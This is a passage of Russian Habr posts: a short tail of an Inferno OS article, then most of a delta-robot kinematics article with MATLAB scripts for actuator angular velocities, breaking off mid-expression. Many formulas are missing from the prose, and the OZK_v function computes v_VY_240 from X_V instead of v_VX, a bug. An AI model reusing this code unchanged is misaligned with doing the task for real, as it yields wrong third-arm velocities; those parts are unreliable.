Кроме этого, разработана подборка mkfile-ов аналогичных стандартным, но поддерживающим работу с /opt-проектами, и рекомендованных для использования в ваших проектах если они либо используют /opt-модули либо сами устанавливаются в /opt: [inferno-opt-mkfiles](http://code.google.com/p/inferno-opt-mkfiles/).
#### Примеры
Несколько простых модулей/приложений написанных в этом стиле можно найти [поискав «inferno contrib» на Google Code](http://code.google.com/hosting/search?q=inferno+contrib&btn=Search+projects).
**Update:** Выложен пример /opt-проекта для использования в качестве шаблона для быстрого старта своих проектов: [inferno-opt-skel](http://code.google.com/p/inferno-opt-skel/source/detail?r=c13f46c1f8fc3bb7b4a23f73e3a86e437b231316).
#### Ссылки
[Русское описание языка Limbo](http://powerman.name/Inferno/Limbo.html)
[Русская wiki по OS Inferno, переводы документации](http://inferno.execbit.ru/wiki.wsgi/Inferno%20OS) | https://habr.com/ru/post/87460/ | null | ru | null |
# Заметки о дельта-роботе. Часть 4. Скорости приводов
В результате предыдущих расчётов мы выбрали размеры дельта-робота, построили его рабочую зону. Теперь настало время выбрать приводы. Привод, или устройство, которое вращает входные звенья (рычаги), имеет две главные характеристики – максимальную частоту вращения и максимальный крутящий момент. Если говорить более обстоятельно, то максимальный крутящий момент зависит ещё и от частоты вращения и нам стоит подбирать привод так, чтобы его момент был во всём диапазоне скоростей больше того, который может возникнуть в разрабатываемом роботе. Помимо этого, у привода есть параметры, характеризующие его точность. Основной упор сегодня будет на нахождение максимальной частоты вращения. Как всегда, дам все алгоритмы, реализованные в MATLAB.
Список обозначенийТеперь я не буду дублировать содержание этого списка из предыдущих статей, а занесу сюда лишь пояснения новых символов.
 – угловые скорости первого, второго и третьего приводов (рычагов) соответственно;
 – координаты вектора скорости рабочего органа;
 – матрица Якоби;  – обратная матрица Якоби;
 – вектор строка обратной матрицы Якоби.
Иначе, задача, в которой мы находим скорость вращения входных звеньев при известных скорости и положении выходного звена, называется *задачей о скоростях*. Иногда ещё полученные зависимости называют *кинематическими характеристиками*.
Поиск этих характеристик может понадобиться не только для правильного выбора приводов, но и для синтеза системы управления.
Намеченную задачу мы сегодня решим при помощи аж четырёх подходов.
Первым делом повторим ещё раз, что мы хотим. Мы хотим найти максимальную частоту вращения приводов, которая может возникнуть при движении выходного звена в пределах рабочей зоны с максимальной заданной линейной скоростью. При расчётах считаем, что нам известны текущие координаты подвижной платформы и вектор её скорости. Для меня было немного неожиданным, что скорость входного звена зависит не только от скорости выходного, но и от его положения, но так бывает, наверное, почти всегда, когда мы переходим с декартовой кинематики (портальные роботы), на какую-то иную сложную кинематику (дельта-робот).
Подход 1. Дифференцирование функций положения (ФП)
--------------------------------------------------
[Ранее](https://habr.com/ru/post/580970/) мы рассмотрели два варианта аналитического решения обратной кинематической задачи (это и есть функция положения). Воспользуемся вторым из них (формула (13)). Для поиска первой производной по времени запишем все подготовительные вычисления (формулы (9)-(12)) в итоговую формулу (13) и с помощью пакета прикладных программ MATLAB и встроенного в него модуля символьных вычислений найдём первую производную по времени. Ведь слева в этой формуле у нас *,* а если быть точнее то . Производная по времени от этой функции как раз и будет скоростью входного звена.
Скрипт для нахождения производной в символьном виде в MATLAB
```
%Объявляем символьные переменные
syms Tetta_1(t) X_V(t) Y_V(t) Z_V(t)
syms OQ VM R_l R_r F f X_0 Y_0 Z_0
syms omega_1(t) v_VX(t) v_VY(t) v_VZ(t)
%Записываем функцию порложения, как уравнение
NL = sqrt(R_r^2-X_V^2);
y_M = -VM + Y_V;
y_Q = -OQ;
const_1 = y_M - y_Q;
NQ = sqrt(const_1^2 + Z_V^2);
Eq1 = Tetta_1 == 2*pi - acos((R_l^2 + NQ^2 - NL^2)/(2*R_l*NQ)) - acos(const_1/NQ);
%Дифференцируем его
Eq2 = diff(Eq1, t);
%Подставляем вместо производных координат по времени скорости
Eq2 = subs(Eq2, [diff(Tetta_1(t), t), diff(X_V(t), t), diff(Y_V(t), t), diff(Z_V(t), t)], [omega_1 v_VX v_VY v_VZ ]);
%"Собираем" уравнение вокруг v_VX, v_VY и v_VZ
col2 = collect(Eq2, [v_VX v_VY v_VZ])
```
Я рекомендую для запуска это кода использовать . Тогда после запуска вы сразу увидите это:
В последних версиях MATLAB появилась возможность даже копировать это в Word, что экономит кучу времени при наборе формул.
Как итог, получим формулу:
(1)где – угловая скорость первого рычага;
– составляющие скорости точки *V*, направленные вдоль осей *X*, *Y*, *Z* соответственно;
– функции, зависящие от .
Функции  определяют следующие формулы:
(2)где
Код функции, для нахождения угловых скоростей дифференцированием ФП
```
%Находит решение задачи о скоростях методом дифференцирования функций пооложения
function [w_1, w_2, w_3] = OZK_v(X_V, Y_V, Z_V, v_VX, v_VY, v_VZ)
%Расчёт координат точки V в системах координат, повёрнутых на 120° и 240°
%по часовой стрелке относительно основной
global R_l R_r cos120 sin120 cos240 sin240 VM OQ
X_V_120 = X_V*cos120 - Y_V*sin120;
Y_V_120 = X_V*sin120 + Y_V*cos120;
X_V_240 = X_V*cos240 - Y_V*sin240;
Y_V_240 = X_V*sin240 + Y_V*cos240;
%Расчёт векторов скоростей точки V в системах координат, повёрнутых на 120° и 240°
%по часовой стрелке относительно основной
v_VX_120 = v_VX*cos120 - v_VY*sin120;
v_VY_120 = v_VX*sin120 + v_VY*cos120;
v_VX_240 = v_VX*cos240 - v_VY*sin240;
v_VY_240 = X_V*sin240 + v_VY*cos240;
Z_V_120 = Z_V;
Z_V_240 = Z_V;
v_VZ_120 = v_VZ;
v_VZ_240 = v_VZ;
%Расчёт углов поворота рычагов в соответствующих системах координат
w_1 = (v_VY/(Z_V^2 + (OQ - VM + Y_V)^2)^(1/2) - ((2*v_VY*(OQ - VM + Y_V) + 2*v_VZ*Z_V)*(OQ - VM + Y_V))/(2*(Z_V^2 + (OQ - VM + Y_V)^2)^(3/2)))/(1 - (OQ - VM + Y_V)^2/(Z_V^2 + (OQ - VM + Y_V)^2))^(1/2) + ((2*v_VY*(OQ - VM + Y_V) + 2*v_VX*X_V + 2*v_VZ*Z_V)/(2*R_l*(Z_V^2 + (OQ - VM + Y_V)^2)^(1/2)) - ((2*v_VY*(OQ - VM + Y_V) + 2*v_VZ*Z_V)*(X_V^2 + Z_V^2 + (OQ - VM + Y_V)^2 + R_l^2 - R_r^2))/(4*R_l*(Z_V^2 + (OQ - VM + Y_V)^2)^(3/2)))/(1 - (X_V^2 + Z_V^2 + (OQ - VM + Y_V)^2 + R_l^2 - R_r^2)^2/(4*R_l^2*(Z_V^2 + (OQ - VM + Y_V)^2)))^(1/2);
w_2 = (v_VY_120/(Z_V_120^2 + (OQ - VM + Y_V_120)^2)^(1/2) - ((2*v_VY_120*(OQ - VM + Y_V_120) + 2*v_VZ_120*Z_V_120)*(OQ - VM + Y_V_120))/(2*(Z_V_120^2 + (OQ - VM + Y_V_120)^2)^(3/2)))/(1 - (OQ - VM + Y_V_120)^2/(Z_V_120^2 + (OQ - VM + Y_V_120)^2))^(1/2) + ((2*v_VY_120*(OQ - VM + Y_V_120) + 2*v_VX_120*X_V_120 + 2*v_VZ_120*Z_V_120)/(2*R_l*(Z_V_120^2 + (OQ - VM + Y_V_120)^2)^(1/2)) - ((2*v_VY_120*(OQ - VM + Y_V_120) + 2*v_VZ_120*Z_V_120)*(X_V_120^2 + Z_V_120^2 + (OQ - VM + Y_V_120)^2 + R_l^2 - R_r^2))/(4*R_l*(Z_V_120^2 + (OQ - VM + Y_V_120)^2)^(3/2)))/(1 - (X_V_120^2 + Z_V_120^2 + (OQ - VM + Y_V_120)^2 + R_l^2 - R_r^2)^2/(4*R_l^2*(Z_V_120^2 + (OQ - VM + Y_V_120)^2)))^(1/2);
w_3 = (v_VY_240/(Z_V_240^2 + (OQ - VM + Y_V_240)^2)^(1/2) - ((2*v_VY_240*(OQ - VM + Y_V_240) + 2*v_VZ_240*Z_V_240)*(OQ - VM + Y_V_240))/(2*(Z_V_240^2 + (OQ - VM + Y_V_240)^2)^(3/2)))/(1 - (OQ - VM + Y_V_240)^2/(Z_V_240^2 + (OQ - VM + Y_V_240)^2))^(1/2) + ((2*v_VY_240*(OQ - VM + Y_V_240) + 2*v_VX_240*X_V_240 + 2*v_VZ_240*Z_V_240)/(2*R_l*(Z_V_240^2 + (OQ - VM + Y_V_240)^2)^(1/2)) - ((2*v_VY_240*(OQ - VM + Y_V_240) + 2*v_VZ_240*Z_V_240)*(X_V_240^2 + Z_V_240^2 + (OQ - VM + Y_V_240)^2 + R_l^2 - R_r^2))/(4*R_l*(Z_V_240^2 + (OQ - VM + Y_V_240)^2)^(3/2)))/(1 - (X_V_240^2 + Z_V_240^2 + (OQ - VM + Y_V_240)^2 + R_l^2 - R_r^2)^2/(4*R_l^2*(Z_V_240^2 + (OQ - VM + Y_V_240)^2)))^(1/2);
end
```
Громоздко, не правда ли? На самом деле ещё нет. Вот если мы ещё раз продифференцируем, чтобы найти угловое ускорение, вот тогда будет по-настоящему громоздко. Но всё же, можно ли формулы покороче получить?
### Подход 2. Метод планов скоростей
В умных книжках 🕮 по теории механизмов и машин всегда рассказывают о методе планов скоростей. По идее, это графический метод решения нужной нам задачи, но считать то мы будем всё равно в MATLAB-е. Поэтому я бы не сказал, что он менее точный.
Рассмотрим его. Вообще, с этим методом лучше знакомится на примере плоской задачи. Но я расскажу сразу на примере пространственного механизма – дельта-робота, подразумевая, что вы с ним заранее ознакомились. Начнём.
Пугаться этой картинки не стоит. Сейчас я поясню всё, что на ней изображено.
Первым шагом введём новую систему координат *X'Y'Z'* с началом координат . – это полюс скоростей, если говорить "книжно". Систему координат можно располагать как угодно (например, как и основную), но мне показалась удобным именно так.
В этой системе координат необходимо построить вектор скорости подвижной платформы. Нам он известен по условию. Вектор найдем как сумму векторов его компонент по осям *X*, *Y*, и *Z*. Не забудем перевести эти компоненты в новую систему координат. Этот вектор будет совпадать с векторами скоростей точек *V* и *M*, так как это точки одного звена (платформы). Таким образом мы получим вектор .
Скорость точки *L*, будет направлена по касательной к окружности с центром в точке *Q*. То есть скорость точки *L* будет направлена перпендикулярно звену *QL* и, как и это звено, всегда будет лежать в плоскости . Направление этого вектора мы зададим прямой , а саму прямую легко можем построить, так как знаем координаты точек *L* и *Q*.
Данный подход предполагает, что мы сначала решаем обратную задачу кинематики и, благодаря полученному решению, можем найти координаты точек *Q*, *L* и *M*.
Вектор начинается из полюса скоростей, то есть как бы из неподвижной точки. Вектор тоже будет начинаться как бы из неподвижной точки, то есть полюса скоростей. Вектор  – это вектор скорости точки *L* относительно точки *M*. И его начало уже неподвижным считать нельзя. Он должен начинаться из конца вектора .
Мы знаем, что точка *L* относительно точки *M* будет двигаться в направлении перпендикулярном звену *LM* (по касательной к сфере с центром в точке *M* и радиусом LM). Тогда мы можем построить плоскость , которая будет перпендикулярна звену *LM* (или прямой ) и проходить через точку *M'* на плане скоростей. Пересечение этой плоскости с прямой определит координаты точки *L'* на плане скоростей, что позволит найти вектор . Зная координаты  вектора  мы можем найти его длину по формуле:
(3)А зная длину этого вектора, то есть линейную скорость, легко найдём угловую скорость звена *QL* по формуле:
(4)Таким образом, чтобы найти угловую скорость первого рычага, нужно найти координаты , как пресечение плоскости  и прямой .
Уравнение плоскости, перпендикулярной прямой (прямой  в нашем случае) имеет вид:
(5)где  – координаты точки, через которую проходит плоскость;
 – координаты направляющего вектора.
 на плане скоростей – это и есть координаты вектора . Координаты направляющего вектора найдём путём вычитания координат точки *L* из координат точки *M*. Тогда уравнение плоскости  в введённой нами системе координат примет вид:
(6)Далее запишем уравнение прямой :
(7)Помимо этого, мы знаем, что точка пересечения плоскости и прямой лежит в плоскости :
(8)Тогда решение системы из этих трёх уравнений (6, 7, 8) и будет искомой точкой, а  и  будут координатами  и .
Я слишком стар, чтобы подставить второе и третье уравнение в первое и выразить  самостоятельно. Поэтому даже здесь я заставил работать MATLAB:
```
syms X_Q1 Y_Q1 Z_Q1 X_L1 Y_L1 Z_L1 X_M1 Y_M1 Z_M1
syms x y z
syms v_VX v_VY v_VZ
y = (Y_Q1-Y_L1)/(Z_Q1-Z_L1)*x;
z = 0;
Eq3 = (-Y_L1+Y_M1)*(x+v_VY)+(Z_L1-Z_M1)*((Y_Q1-Y_L1)/(Z_Q1-Z_L1)*x-v_VZ)...
+(-X_L1+X_M1)*(0+v_VX) == 0
solve(Eq3, x)
```
А он мне выдал:
Стоит отметить ещё необходимость проверки направления получившегося вектора, так как последнее влияет на знак угловой скорости . Благодаря тому, что мы заранее ограничиваем угол поворота рычага от 90° до 270°, условие проверки упрощается до проверки знака . Если , то знак у -, иначе +.
Код функции, для нахождения угловых скоростей методом планов
```
%Находит решение задачи о скоростях методом планов
function [w_1, w_2, w_3] = OZK_v_pv(X_V, Y_V, Z_V, v_VX, v_VY, v_VZ)
global R_l VM OQ cos120 sin120 cos240 sin240 %Размеры и константы
%Расчёт углов поворота рычагов в соответствующих системах координат
[vectTheta] = OZK(X_V, Y_V, Z_V);
Theta1 = vectTheta(1); Theta2 = vectTheta(2); Theta3 = vectTheta(3);
%Вычисляем координаты точек в системах координат XOY,
%X120Y120Z120 и X240Y240Z240
Y_Q1 = -OQ;
Z_Q1 = 0;
X_L1 = 0;
Y_L1 = -(OQ + R_l*sind(Theta1-90));
Z_L1 = R_l*cosd(Theta1-90);
X_M1 = X_V;
Y_M1 = Y_V - VM;
Z_M1 = Z_V;
X_V_120 = X_V*cos120 - Y_V*sin120;
Y_V_120 = X_V*sin120 + Y_V*cos120;
Z_V_120 = Z_V;
Y_Q2_120 = -OQ;
Z_Q2_120 = 0;
X_L2_120 = 0;
Y_L2_120 = -(OQ + R_l*sind(Theta2-90));
Z_L2_120 = R_l*cosd(Theta2-90);
X_M2_120 = X_V_120;
Y_M2_120 = Y_V_120 - VM;
Z_M2_120 = Z_V_120;
X_V_240 = X_V*cos240 - Y_V*sin240;
Y_V_240 = X_V*sin240 + Y_V*cos240;
Z_V_240 = Z_V;
Y_Q3_240 = -OQ;
Z_Q3_240 = 0;
X_L3_240 = 0;
Y_L3_240 = -(OQ + R_l*sind(Theta3-90));
Z_L3_240 = R_l*cosd(Theta3-90);
X_M3_240 = X_V_240;
Y_M3_240 = Y_V_240 - VM;
Z_M3_240 = Z_V_240;
v_VX_120 = v_VX*cos120 - v_VY*sin120;
v_VY_120 = v_VX*sin120 + v_VY*cos120;
v_VZ_120 = v_VZ;
v_VX_240 = v_VX*cos240 - v_VY*sin240;
v_VY_240 = v_VX*sin240 + v_VY*cos240;
v_VZ_240 = v_VZ;
x = (v_VX*(X_L1 - X_M1) + v_VY*(Y_L1 - Y_M1) + v_VZ*(Z_L1 - Z_M1))/(Y_M1 - Y_L1 + ((Y_L1 - Y_Q1)*(Z_L1 - Z_M1))/(Z_L1 - Z_Q1));
y = (Y_Q1-Y_L1)/(Z_Q1-Z_L1)*x;
v_L1 = sqrt(x^2+y^2);
if y>0
znak = -1;
else
znak = 1;
end
w_1 = znak*v_L1/R_l;
x = (v_VX_120*(X_L2_120 - X_M2_120) + v_VY_120*(Y_L2_120 - Y_M2_120) + v_VZ_120*(Z_L2_120 - Z_M2_120))/(Y_M2_120 - Y_L2_120 + ((Y_L2_120 - Y_Q2_120)*(Z_L2_120 - Z_M2_120))/(Z_L2_120 - Z_Q2_120));
y = (Y_Q2_120-Y_L2_120)/(Z_Q2_120-Z_L2_120)*x;
v_L2_120 = sqrt(x^2+y^2);
if y>0
znak = -1;
else
znak = 1;
end
w_2 = znak*v_L2_120/R_l;
x = (v_VX_240*(X_L3_240 - X_M3_240) + v_VY_240*(Y_L3_240 - Y_M3_240) + v_VZ_240*(Z_L3_240 - Z_M3_240))/(Y_M3_240 - Y_L3_240 + ((Y_L3_240 - Y_Q3_240)*(Z_L3_240 - Z_M3_240))/(Z_L3_240 - Z_Q3_240));
y = (Y_Q3_240-Y_L3_240)/(Z_Q3_240-Z_L3_240)*x;
v_L3_240 = sqrt(x^2+y^2);
if y>0
znak = -1;
else
znak = 1;
end
w_3 = znak*v_L3_240/R_l;
end
```
Подход 3. Матричный метод
-------------------------
А вот и настало время для зловещего матричного метода. В статьях, посвящённых дельта-роботу часто можно встретить матричное исчисление. Попробуем и мы применить его, а также скажем, чем этот метод хорош.
По ходу повествования я буду опираться на вот эти 🕮, 🕮, 🕮 источники. С автором первого источника я лично знаком и походу написания этого раздела активно закидывал его вопросами, чтобы совсем уж дичь тут вам не писать.
Первое, что следует сделать – следует записать уравнения связи. Уравнение связи (первое) для дельта-робота это не что иное, как функция положения (формула (13) [этой](https://habr.com/ru/post/580970/) работы), у которой после знака = мы оставим 0, а потом вместо 0 запишем :
(9)Или, что тоже самое:
(10)Заметим, что последнее уравнение записано не в явном виде, то есть  не выражено, через координаты рабочего органа (если мы снова уберём ). Это первое преимущество метода – можно написать более простую неявную функцию.
Далее, используя эти уравнения связи можно составить матрицы:
(11)Элементы матриц представляют собой не что иное, как частные производные функций положения по входным или выходным координатам.
Далее мы можем записать следующее матричное уравнение:
(12)Решая его относительно вектора скоростей приводов, получим:
(13) – это, так называемая, матрица Якоби (или Якобиан), то есть матрица, связывающая входные  и выходные  скорости.
Таким образом, знаю эту матрицу, можно легко найти скорости рычагов, зная скорость и положение выходного звена.
Второе преимущество такого подхода заключается в том, что мы можем быстренько переписать это матричное уравнение вот так:
(14)То есть, зная Якобиан, можно решить и прямую задачу о скоростях.
Здесь сразу стоит отметить, что если мы составляем уравнение связи из явных функций, то можно сразу решать матричное уравнение и находить скорости входных звеньев. Если же мы составляем их из неявной функции, то сначала потребуется решить задачу о положениях, так как в матрице  у нас будут присутствовать входные координаты, которые мы без решения ОЗК не знаем:
(15)Если уж быть совсем честным, то в конечном счёте, при вычислении угловых скоростей матричным способом мы придём к уравнениям вида (1), о которых говорили в первом подходе. Та что все рассмотренные способы очень близки.
Ну и последним преимуществом матричного метода я бы назвал удобство последующего анализа. То есть математически формализуя таким образом решение, мы легко можем узнать, например, скорость входного звена при наихудшем направлении скорости выходного звена. Об этом будет сказано ниже. Помимо этого, можно достаточно легко найти, так называемые, особые положения и много чего ещё.
Чуть не забыл про алгоритмы.
Скрипт для нахождения обратной матрицы Якоби
```
%Задаём символьные переменные
syms Tetta_1 Tetta_2 Tetta_3 X_V Y_V Z_V
syms OQ VM R_l R_r F f X_0 Y_0 Z_0
syms omega_1(t) v_VX(t) v_VY(t) v_VZ(t)
syms epsilon_1 a_VX a_VY a_VZ
syms v_VX v_VY v_VZ
%Записываем решение обратной кинематической задачи в аналитическом виде
NL = sqrt(R_r^2-X_V^2);
y_M = -VM + Y_V;
y_Q = -OQ;
const_1 = y_M - y_Q;
NQ = sqrt(const_1^2 + Z_V^2);
Eq1 = Tetta_1 == 2*pi - acos((R_l^2 + NQ^2 - NL^2)/(2*R_l*NQ))...
- acos(const_1/NQ);
%Формируем уравнение связи
F_1 = 2*pi - acos((R_l^2 + NQ^2 - NL^2)/(2*R_l*NQ))...
- acos(const_1/NQ) - Tetta_1;
% F_1 = - (R_l^2 + NQ^2 - NL^2)/(2*R_l*NQ)...
% - const_1/NQ+cos(2*pi - Tetta_1);
%Проделываем те же операции для 2-го плеча
X_V_120 = X_V*cos(2*pi/3) - Y_V*sin(2*pi/3);
Y_V_120 = X_V*sin(2*pi/3) + Y_V*cos(2*pi/3);
Z_V_120 = Z_V;
NL = sqrt(R_r^2-X_V_120^2);
y_M = -VM + Y_V_120;
y_Q = -OQ;
const_1 = y_M - y_Q;
NQ = sqrt(const_1^2 + Z_V_120^2);
Eq2 = Tetta_2 == 2*pi - acos((R_l^2 + NQ^2 - NL^2)/(2*R_l*NQ))...
- acos(const_1/NQ);
F_2 = 2*pi - acos((R_l^2 + NQ^2 - NL^2)/(2*R_l*NQ))...
- acos(const_1/NQ) - Tetta_2;
% F_2 = - (R_l^2 + NQ^2 - NL^2)/(2*R_l*NQ)...
% - const_1/NQ + cos(2*pi - Tetta_2);
%Для 3-го плеча
X_V_240 = X_V*cos(4*pi/3) - Y_V*sin(4*pi/3);
Y_V_240 = X_V*sin(4*pi/3) + Y_V*cos(4*pi/3);
Z_V_240 = Z_V;
NL = sqrt(R_r^2-X_V_240^2);
y_M = -VM + Y_V_240;
y_Q = -OQ;
const_1 = y_M - y_Q;
NQ = sqrt(const_1^2 + Z_V_240^2);
Eq3 = Tetta_3 == 2*pi - acos((R_l^2 + NQ^2 - NL^2)/(2*R_l*NQ))...
- acos(const_1/NQ);
F_3 = 2*pi - acos((R_l^2 + NQ^2 - NL^2)/(2*R_l*NQ))...
- acos(const_1/NQ) - Tetta_3;
% F_3 = - (R_l^2 + NQ^2 - NL^2)/(2*R_l*NQ)...
% - const_1/NQ + cos(2*pi - Tetta_3);
%Составляем матрицы А и В
A = [diff(F_1, X_V), diff(F_1, Y_V), diff(F_1, Z_V);
diff(F_2, X_V), diff(F_2, Y_V), diff(F_2, Z_V);
diff(F_3, X_V), diff(F_3, Y_V), diff(F_3, Z_V)];
B = [diff(F_1, Tetta_1), 0, 0;
0, diff(F_2, Tetta_2), 0;
0, 0, diff(F_3, Tetta_3)];
J = -A*inv(B)
%Подставляем конкретные значения (для проверки)
J_ch = double(subs(J, [X_V, Y_V, Z_V, OQ, VM, R_l, R_r, F, f],...
[70.7107, 0, -325, 77.9423, 31.7543, 170, 320, 270, 110]));
%Вычисляем скорости в тестовой точке
v = [-0.4381; 139.3182; 787.7755];
w = J_ch*v
%Ответ [-3.1503; -3.3611; -4.4766]
```
На эту матрицу в символьном виде смотреть, конечно, страшно:
Стрелочки указывают на полосы прокрутки. Можно представить сколько дополнительных констант MATLAB там нагенерировал.
Проверка. Движение по заданной траектории с максимальной скоростью. Подход 4. Графическое дифференцирование
-----------------------------------------------------------------------------------------------------------
После формирования алгоритма для нахождения скоростей входных звеньев следует убедиться в правильности работы полученных скриптов. Я решил проверить сразу всё.
Для проверки мы синтезируем траекторию (массив точек), по которым будет (виртуально) перемещаться подвижная платформа с максимальной скоростью. Я выбрал вот такую траекторию:
Синус, "намотанный" на цилиндрДалее для каждой точки траектории нужно найти вектор скорости. Направлен он будет к следующей точке.
В результате работы алгоритма хотелось бы получить четыре графика, на которых будут показаны зависимости скорости первого рычага от времени, рассчитываемые всеми четырьмя методами.
Тут появляется время. Вектор времени можно найти, зная, сколько должно занимать перемещение от одной точки до другой с максимальной скоростью. Между точками у нас расстояние постоянно меняется, поэтому тут придётся его считать для всей траектории.
Ну а потом, итоговый вектор времени можно получить используя функцию *cumsum*, которая создаёт новый вектор, суммируя для каждого значения все предшествующие значения исходного вектора.
В общем, не буду томить. Всё совпало ~~с 101-го раза~~:
Последний 4-ый подход (на графике он первый) я использовал исключительно для проверки первых трёх.
Его суть заключается в следующем – мы уже умеем решать обратную задачу кинематики. Вот и решим её для каждой точки. То есть найдём зависимость .
А теперь просто можно найти производную численно, так как у нас есть вектора (здесь под векторами я подразумеваю массивы)  и :
(16)И так для каждой точки.
Так как мы проверили ОЗК и, наверняка, правильно вычислили вектор значений , то и полученный график тоже должен быть правильным.
Вот рабочий скрипт:
Скрипт, который находит скорость первого рычага всеми методами
```
clear all
%Входные данные
BOX = [200, 100]; %Ширина и высота рабочей зоны (квадратный параллелепипед)
Z0BOX = -375; %Координата дна рабочей зоны
v_max = 800; %Максимальная требуемая линейная скорость [мм/с]
%Подгружаем константы и итоговые конструктивные размеры
InputConstant;
%Параметры дискретизации пространственных траекторий
Diskr = 1000; %Число точек, в которых вычизляем значение пространственной кривой
%Подготовительные вычисления
R_BOX = BOX(1)*sqrt(2)/2; % Радиус описанного цилиндра рабочей области
%Формируем траекторию для исследования скоростных характеристик
fi1 = linspace(0, 2*pi, Diskr);
fi2 = linspace(0, 8*2*pi, Diskr);
X_V = R_BOX*0.5*cos(fi1);
Y_V = R_BOX*0.5*sin(fi1);
Z_V = Z0BOX + BOX(2)/2 + BOX(2)/2*sin(fi2);
hold on;
plot3(X_V, Y_V, Z_V, 'LineWidth', 1.5);
hold off;
axis equal;
xlabel('x, мм');
ylabel('y, мм');
zlabel('z, мм');
title('Рассматриваемая траектория движения');
grid on;
view([-25, 20]);
%Вычисляем вектор скорости в каждой точке каждой траектории
dX = X_V([2:Diskr, 1])-X_V(1:Diskr);
dY = Y_V([2:Diskr, 1])-Y_V(1:Diskr);
dZ = Z_V([2:Diskr, 1])-Z_V(1:Diskr);
dL = sqrt(dX.^2 + dY.^2 + dZ.^2);
v_VX = dX*v_max./dL;
v_VY = dY*v_max./dL;
v_VZ = dZ*v_max./dL;
%v_vect=sqrt(v_VX.^2 + v_VY.^2 + v_VZ.^2)
%quiver3(X_V, Y_V, Z_V, v_VX*0.07, v_VY*0.07, v_VZ*0.07, 'AutoScale', 'off');
%Задаём вектор скорости рычага 1
w1 = [];
%Вычисляем скорость рычагов в каждой точке траектории
for k=1:Diskr
[w_1, w_2, w_3] = OZK_v(X_V(k), Y_V(k), Z_V(k), v_VX(k), v_VY(k), v_VZ(k));
w1 = [w1, w_1];
end
%Вычисляем вектор времени
dTime = dL/v_max;
Time = cumsum(dTime);
%Вычисляем скорости методом планов
for k=1:Diskr
[Tetta1, Tetta2, Tetta3] = OZK(X_V(k), Y_V(k), Z_V(k));
Tetta1_vect(k)=Tetta1;
Y_L1 = -(OQ + R_l*sind(Tetta1-90));
Z_L1 = R_l*cosd(Tetta1-90);
Y_M1 = Y_V(k) - VM;
Z_M1 = Z_V(k);
Y_Q1 = -OQ;
Z_Q1 = 0;
X_L1 = 0;
X_M1 = X_V(k);
x = (v_VX(k)*(X_L1 - X_M1) + v_VY(k)*(Y_L1 - Y_M1) + v_VZ(k)*(Z_L1 - Z_M1))/(Y_M1 - Y_L1 + ((Y_L1 - Y_Q1)*(Z_L1 - Z_M1))/(Z_L1 - Z_Q1));
y = (Y_Q1-Y_L1)/(Z_Q1-Z_L1)*x;
v_L1 = sqrt(x^2+y^2);
if y>0
znak = -1;
else
znak = 1;
end
w1_pv(k) = znak*v_L1/R_l;
end
%Вычисляем скорости матричным методом
for k=1:Diskr
J = [ X_V(k)/(R_l*(1 - ((OQ - VM + Y_V(k))^2 + R_l^2 - R_r^2 + X_V(k)^2 + Z_V(k)^2)^2/(4*R_l^2*((OQ - VM + Y_V(k))^2 + Z_V(k)^2)))^(1/2)*((OQ - VM + Y_V(k))^2 + Z_V(k)^2)^(1/2)), ((2*OQ - 2*VM + 2*Y_V(k))/(2*R_l*((OQ - VM + Y_V(k))^2 + Z_V(k)^2)^(1/2)) - ((2*OQ - 2*VM + 2*Y_V(k))*((OQ - VM + Y_V(k))^2 + R_l^2 - R_r^2 + X_V(k)^2 + Z_V(k)^2))/(4*R_l*((OQ - VM + Y_V(k))^2 + Z_V(k)^2)^(3/2)))/(1 - ((OQ - VM + Y_V(k))^2 + R_l^2 - R_r^2 + X_V(k)^2 + Z_V(k)^2)^2/(4*R_l^2*((OQ - VM + Y_V(k))^2 + Z_V(k)^2)))^(1/2) + (1/((OQ - VM + Y_V(k))^2 + Z_V(k)^2)^(1/2) - ((2*OQ - 2*VM + 2*Y_V(k))*(OQ - VM + Y_V(k)))/(2*((OQ - VM + Y_V(k))^2 + Z_V(k)^2)^(3/2)))/(1 - (OQ - VM + Y_V(k))^2/((OQ - VM + Y_V(k))^2 + Z_V(k)^2))^(1/2), (Z_V(k)/(R_l*((OQ - VM + Y_V(k))^2 + Z_V(k)^2)^(1/2)) - (Z_V(k)*((OQ - VM + Y_V(k))^2 + R_l^2 - R_r^2 + X_V(k)^2 + Z_V(k)^2))/(2*R_l*((OQ - VM + Y_V(k))^2 + Z_V(k)^2)^(3/2)))/(1 - ((OQ - VM + Y_V(k))^2 + R_l^2 - R_r^2 + X_V(k)^2 + Z_V(k)^2)^2/(4*R_l^2*((OQ - VM + Y_V(k))^2 + Z_V(k)^2)))^(1/2) - (Z_V(k)*(OQ - VM + Y_V(k)))/(((OQ - VM + Y_V(k))^2 + Z_V(k)^2)^(3/2)*(1 - (OQ - VM + Y_V(k))^2/((OQ - VM + Y_V(k))^2 + Z_V(k)^2))^(1/2));
(3^(1/2)/(2*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(1/2)) - (3^(1/2)*(OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2)/(2*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2)))/(1 - (OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2/((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2))^(1/2) + ((X_V(k)/2 + (3^(1/2)*Y_V(k))/2 + 3^(1/2)*(OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2))/(2*R_l*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(1/2)) - (3^(1/2)*(OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)*((X_V(k)/2 + (3^(1/2)*Y_V(k))/2)^2 + (OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2))/(4*R_l*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)^(3/2)))/(1 - ((X_V(k)/2 + (3^(1/2)*Y_V(k))/2)^2 + (OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + R_l^2 - R_r^2 + Z_V(k)^2)^2/(4*R_l^2*((OQ - VM - Y_V(k)/2 + (3^(1/2)*X_V(k))/2)^2 + Z_V(k)^2)))^(1/2), ((VM - OQ + Y_V(k)/2 - (3^(1/2)*X_V(k))/2 + 3^(1/2)*(X_V(k)/2 + (3^(1/2)*Y_V(k))/2))/(2*R_l*((OQ - VM 